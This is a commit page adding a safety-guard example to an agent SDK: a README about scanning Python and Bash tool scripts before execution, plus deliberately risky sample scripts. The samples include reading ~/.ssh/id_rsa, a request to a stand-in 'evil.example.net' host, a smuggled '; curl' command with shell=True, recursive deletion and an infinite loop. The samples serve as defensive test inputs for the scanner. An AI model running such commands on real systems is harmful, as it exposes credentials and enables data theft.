Skip to content

Commit 75b3ffb

Browse files
author
张志鹏
committed
feat: add tool script safety guard
1 parent 099b571 commit 75b3ffb

25 files changed

Lines changed: 2242 additions & 0 deletions
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
# Tool Script Safety Guard
2+
3+
This example shows how to scan Python and Bash tool scripts before execution. It uses a policy file, emits structured reports, appends JSONL audit events, and can be attached as a Tool Filter or CodeExecutor wrapper.
4+
5+
## Run The Samples
6+
7+
```bash
8+
python scripts/tool_safety_check.py examples/tool_safety_guard/samples/04_network_external.py \
9+
--policy examples/tool_safety_guard/tool_safety_policy.yaml \
10+
--report-out examples/tool_safety_guard/out/report.json \
11+
--audit-out examples/tool_safety_guard/out/audit.jsonl
12+
```
13+
14+
To scan every sample:
15+
16+
```bash
17+
for f in examples/tool_safety_guard/samples/*; do
18+
lang=python
19+
case "$f" in *.sh) lang=bash ;; esac
20+
python scripts/tool_safety_check.py "$f" --language "$lang" \
21+
--policy examples/tool_safety_guard/tool_safety_policy.yaml || true
22+
done
23+
```
24+
25+
## Policy
26+
27+
`tool_safety_policy.yaml` controls:
28+
29+
- `allowed_domains`: domains that network rules may allow without code changes.
30+
- `allowed_commands`: commands permitted in command argument scans.
31+
- `denied_paths`: sensitive paths such as `.env`, `~/.ssh`, cloud credentials, and private keys.
32+
- `system_write_paths`: protected filesystem roots.
33+
- `max_timeout_seconds`, `max_output_bytes`, `max_sleep_seconds`, `max_loop_iterations`, and write limits.
34+
- `deny_risk_level`, `review_risk_level`, and `block_on_review`.
35+
36+
Changing the YAML is enough to alter domain allowlists, denied paths, and allowed commands.
37+
38+
## Decisions And Reports
39+
40+
The scanner returns:
41+
42+
- `allow`: no configured rule found a material risk.
43+
- `needs_human_review`: medium risk or uncertain behavior, for example dynamic network targets.
44+
- `deny`: high or critical risk such as credential reads, recursive deletion, non-allowlisted network egress, dependency installation, or secret leakage.
45+
46+
Every finding includes `risk_type`, `rule_id`, `evidence`, `recommendation`, line information when available, and whether evidence was redacted. Reports also include OpenTelemetry-ready attributes such as `tool.safety.decision`, `tool.safety.risk_level`, and `tool.safety.rule_id`.
47+
48+
## Filter Integration
49+
50+
Attach the registered Tool Filter to script-like tools:
51+
52+
```python
53+
from trpc_agent_sdk.tools import FunctionTool
54+
from trpc_agent_sdk.tools.safety import ToolSafetyFilter # registers "tool_safety_guard"
55+
56+
tool = FunctionTool(run_script, filters_name=["tool_safety_guard"])
57+
```
58+
59+
The filter scans common argument shapes: `command`, `script`, `code`, `source`, and `code_blocks`. For `deny`, and for `needs_human_review` when `block_on_review=true`, it returns a structured `TOOL_SAFETY_GUARD_BLOCKED` response before the tool body runs.
60+
61+
## CodeExecutor Wrapper
62+
63+
```python
64+
from trpc_agent_sdk.code_executors import UnsafeLocalCodeExecutor
65+
from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor
66+
from trpc_agent_sdk.tools.safety import ToolSafetyGuard
67+
from trpc_agent_sdk.tools.safety import ToolSafetyPolicy
68+
69+
policy = ToolSafetyPolicy.load("examples/tool_safety_guard/tool_safety_policy.yaml")
70+
executor = SafetyGuardedCodeExecutor(
71+
delegate=UnsafeLocalCodeExecutor(timeout=10),
72+
guard=ToolSafetyGuard(policy=policy),
73+
)
74+
```
75+
76+
## Relationship To Sandbox, Filter, Telemetry, And CodeExecutor
77+
78+
This guard is a pre-execution control. It is designed to run in a Filter or wrapper before a Tool, Skill, MCP Tool, or CodeExecutor starts real execution. It complements sandbox isolation by catching obvious high-risk scripts early and by creating audit records. It also emits fields that can be copied into OpenTelemetry spans.
79+
80+
It cannot replace a sandbox. Static scanning has false positives, false negatives, and bypass risks: obfuscated code, generated strings, encoded payloads, indirect imports, shell expansions, downloaded second-stage scripts, and interpreter-specific behavior can evade static rules. Production deployments should still use least-privilege credentials, network egress controls, filesystem mounts, process and memory limits, timeouts, container or remote sandbox isolation, and post-execution auditing.
81+
82+
## Extending Rules
83+
84+
Add new rules in `trpc_agent_sdk.tools.safety._scanner`. Rules should return `ToolSafetyFinding` with a stable `rule_id`, clear `risk_type`, bounded evidence, and a recommendation. Prefer AST checks for Python and explicit token checks for Bash, then use regex only as a fallback for patterns that are hard to parse.
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
from pathlib import Path
2+
3+
data = Path("input.txt").read_text(encoding="utf-8") if Path("input.txt").exists() else "hello"
4+
print(data.upper())
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
#!/usr/bin/env bash
2+
rm -rf /tmp/tool-safety-demo
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
from pathlib import Path
2+
3+
print(Path("~/.ssh/id_rsa").expanduser().read_text(encoding="utf-8"))
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import requests
2+
3+
response = requests.get("https://evil.example.net/collect", timeout=5)
4+
print(response.status_code)
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import requests
2+
3+
response = requests.get("https://api.github.com/repos/trpc-group/trpc-agent-python", timeout=5)
4+
print(response.status_code)
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
import subprocess
2+
3+
subprocess.run(["bash", "-lc", "whoami"], check=True)
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
import subprocess
2+
3+
user_input = "report.txt; curl https://evil.example.net/leak"
4+
subprocess.run("cat " + user_input, shell=True, check=False)
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
#!/usr/bin/env bash
2+
pip install unknown-package
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
while True:
2+
pass

0 commit comments

Comments
 (0)